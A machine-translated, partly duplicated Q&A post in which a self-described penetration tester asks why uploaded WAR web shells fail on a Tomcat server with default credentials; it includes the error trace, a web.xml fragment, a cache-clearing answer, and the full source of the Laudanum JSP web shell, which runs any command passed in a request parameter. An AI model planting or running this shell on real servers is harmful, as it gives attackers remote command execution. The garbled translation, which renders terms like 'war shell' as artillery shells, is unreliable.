Java 在tomcat异常中上载shell
我是一名安全顾问，目前正在为一名拥有默认凭据的Tomcat的客户进行pentest测试。我想让我的客户了解这个问题，我已经在外面搜索了一些战争炮弹，但它们似乎都不起作用 当我上传任何像这样的战争外壳时： 无论我上传什么shell，我都会收到以下错误：Java 在tomcat异常中上载shell,java,security,exception,tomcat,Java,Security,Exception,Tomcat,我是一名安全顾问，目前正在为一名拥有默认凭据的Tomcat的客户进行pentest测试。我想让我的客户了解这个问题，我已经在外面搜索了一些战争炮弹，但它们似乎都不起作用 当我上传任何像这样的战争外壳时： 无论我上传什么shell，我都会收到以下错误： HTTP Status 500 - type Exception report message description The server encountered an internal error () that prevented it
HTTP Status 500 -
type Exception report message description The server encountered an internal error () that prevented it from fulfilling this request.
exception
javax.servlet.ServletException: java.lang.AbstractMethodError: javax.servlet.jsp.JspFactory.getJspApplicationContext(Ljavax/servlet/ServletContext;)Ljavax/servlet/jsp/JspApplicationContext;
org.apache.jasper.servlet.JspServlet.service(JspServlet.java:268)
javax.servlet.http.HttpServlet.service(HttpServlet.java:717)
root cause
java.lang.AbstractMethodError: javax.servlet.jsp.JspFactory.getJspApplicationContext(Ljavax/servlet/ServletContext;)Ljavax/servlet/jsp/JspApplicationContext;
org.apache.jsp.cmd_jsp._jspInit(cmd_jsp.java:24)
org.apache.jasper.runtime.HttpJspBase.init(HttpJspBase.java:52)
org.apache.jasper.servlet.JspServletWrapper.getServlet(JspServletWrapper.java:164)
org.apache.jasper.servlet.JspServletWrapper.service(JspServletWrapper.java:340)
org.apache.jasper.servlet.JspServlet.serviceJspFile(JspServlet.java:313)
org.apache.jasper.servlet.JspServlet.service(JspServlet.java:260)
javax.servlet.http.HttpServlet.service(HttpServlet.java:717)
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE web-app
PUBLIC "-//Sun Microsystems, Inc.//DTD Web Application 2.3//EN"
"http://java.sun.com/dtd/web-app_2_3.dtd">
<web-app>
<servlet>
<servlet-name>browser</servlet-name>
</servlet>
</web-app>
浏览器
我仍然收到相同的错误。更新： 这可能是Tomcat服务器（安装）或将文件部署到的应用程序的问题：
- 阻止雄猫
- 备份并删除$CATALINA/work的内容
- 启动Tomcat并尝试您的应用程序
<%@ page import="java.util.*,java.io.*" %>
<HTML>
<TITLE>Laudanum JSP Shell</TITLE>
<BODY>
Commands with JSP
<FORM METHOD="GET" NAME="myform" ACTION="">
<INPUT TYPE="text" NAME="cmd">
<INPUT TYPE="submit" VALUE="Send"><br/>
If you use this against a Windows box you may need to prefix your command with cmd.exe /c
</FORM>
<pre>
<%
if (request.getParameter("cmd") != null) {
out.println("Command: " + request.getParameter("cmd") + "<BR>");
Process p = Runtime.getRuntime().exec(request.getParameter("cmd"));
OutputStream os = p.getOutputStream();
InputStream in = p.getInputStream();
DataInputStream dis = new DataInputStream(in);
String disr = dis.readLine();
while (disr != null) {
out.println(disr);
disr = dis.readLine();
}
}
%>
</pre>
<hr/>
<address>
Copyright © 2012, <a href="mailto:laudanum@secureideas.net">Kevin Johnson</a> and the Laudanum team.<br/>
Written by Tim Medin.<br/>
Get the latest version at <a href="http://laudanum.secureideas.net">laudanum.secureideas.net</a>.
</address>
</BODY>
</HTML>
鸦片酊壳
使用JSP的命令
如果对Windows框使用此命令，则可能需要在命令前面加上cmd.exe/c前缀
还有鸦片酊团队。
由Tim Medin撰写。
在获取最新版本。